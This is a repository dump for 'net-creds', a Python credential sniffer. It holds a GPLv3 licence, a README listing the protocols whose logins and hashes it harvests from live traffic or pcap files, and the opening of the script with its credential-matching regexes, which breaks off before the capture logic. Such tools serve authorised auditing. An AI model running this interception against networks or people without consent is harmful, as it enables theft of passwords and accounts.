├── .gitignore
├── LICENSE
├── README.md
├── net-creds.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | *.swp
2 | *.pyc
3 | *.pcap
4 | *.txt
5 | *~
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification.
2 |
3 | | Screenshots |
4 | |:-----:|
5 | |  |
6 | |  |
7 |
8 | ### Sniffs
9 |
10 | * URLs visited
11 | * POST loads sent
12 | * HTTP form logins/passwords
13 | * HTTP basic auth logins/passwords
14 | * HTTP searches
15 | * FTP logins/passwords
16 | * IRC logins/passwords
17 | * POP logins/passwords
18 | * IMAP logins/passwords
19 | * Telnet logins/passwords
20 | * SMTP logins/passwords
21 | * SNMP community string
22 | * NTLMv1/v2 all supported protocols: HTTP, SMB, LDAP, etc.
23 | * Kerberos
24 |
25 | ### Examples
26 |
27 | Auto-detect the interface to sniff
28 |
29 | `sudo python net-creds.py`
30 |
31 | Choose eth0 as the interface
32 |
33 | `sudo python net-creds.py -i eth0`
34 |
35 | Ignore packets to and from 192.168.0.2
36 |
37 | `sudo python net-creds.py -f 192.168.0.2`
38 |
39 | Read from pcap
40 |
41 | `python net-creds.py -p pcapfile`
42 |
43 |
44 | #### OS X
45 |
46 | Credit to [epocs](https://github.com/epocs):
47 |
48 | ```bash
49 | sudo easy_install pip
50 | sudo pip install scapy
51 | sudo pip install pcapy
52 | brew install libdnet --with-python
53 | mkdir -p /Users//Library/Python/2.7/lib/python/site-packages
54 | echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth
55 | sudo pip install pypcap
56 | brew tap brona/iproute2mac
57 | brew install iproute2mac
58 | ```
59 |
60 | Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'.
61 |
62 |
63 | #### Thanks
64 | * Laurent Gaffie
65 | * psychomario
66 |
--------------------------------------------------------------------------------
/net-creds.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2
2 |
3 | from os import geteuid, devnull
4 | import logging
5 | # shut up scapy
6 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
7 | from scapy.all import *
8 | conf.verb=0
9 | from sys import exit
10 | import binascii
11 | import struct
12 | import argparse
13 | import signal
14 | import base64
15 | from urllib import unquote
16 | import platform
17 | from subprocess import Popen, PIPE, check_output
18 | from collections import OrderedDict
19 | from BaseHTTPServer import BaseHTTPRequestHandler
20 | from StringIO import StringIO
21 | from urllib import unquote
22 | #import binascii #already imported on line 10
23 | # Debug
24 | #from IPython import embed
25 |
26 | ##########################
27 | # Potention ToDo:
28 | # MySQL seed:hash
29 | # VNC
30 | # Oracle?
31 | # Add file carving from dissectors.py
32 | #########################
33 |
34 | # Unintentional code contributors:
35 | # Laurent Gaffie
36 | # psychomario
37 |
38 | logging.basicConfig(filename='credentials.txt',level=logging.INFO)
39 | DN = open(devnull, 'w')
40 | pkt_frag_loads = OrderedDict()
41 | challenge_acks = OrderedDict()
42 | mail_auths = OrderedDict()
43 | telnet_stream = OrderedDict()
44 |
45 | # Regexs
46 | authenticate_re = '(www-|proxy-)?authenticate'
47 | authorization_re = '(www-|proxy-)?authorization'
48 | ftp_user_re = r'USER (.+)\r\n'
49 | ftp_pw_re = r'PASS (.+)\r\n'
50 | irc_user_re = r'NICK (.+?)((\r)?\n|\s)'
51 | irc_pw_re = r'NS IDENTIFY (.+)'
52 | irc_pw_re2 = 'nickserv :identify (.+)'
53 | mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)'
54 | mail_auth_re1 = '(\d+ )?login '
55 | NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+'
56 | NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+'
57 | # Prone to false+ but prefer that to false-
58 | http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))'
59 |
60 | #Console colors
61 | W = '\033[0m' # white (normal)
62 | T = '\033[93m' # tan
63 |
64 | def parse_args():
65 | """Create the arguments"""
66 | parser = argparse.ArgumentParser()
67 | parser.add_argument("-i", "--interface", help="Choose an interface")
68 | parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p ")
69 | parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4")
70 | parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true")
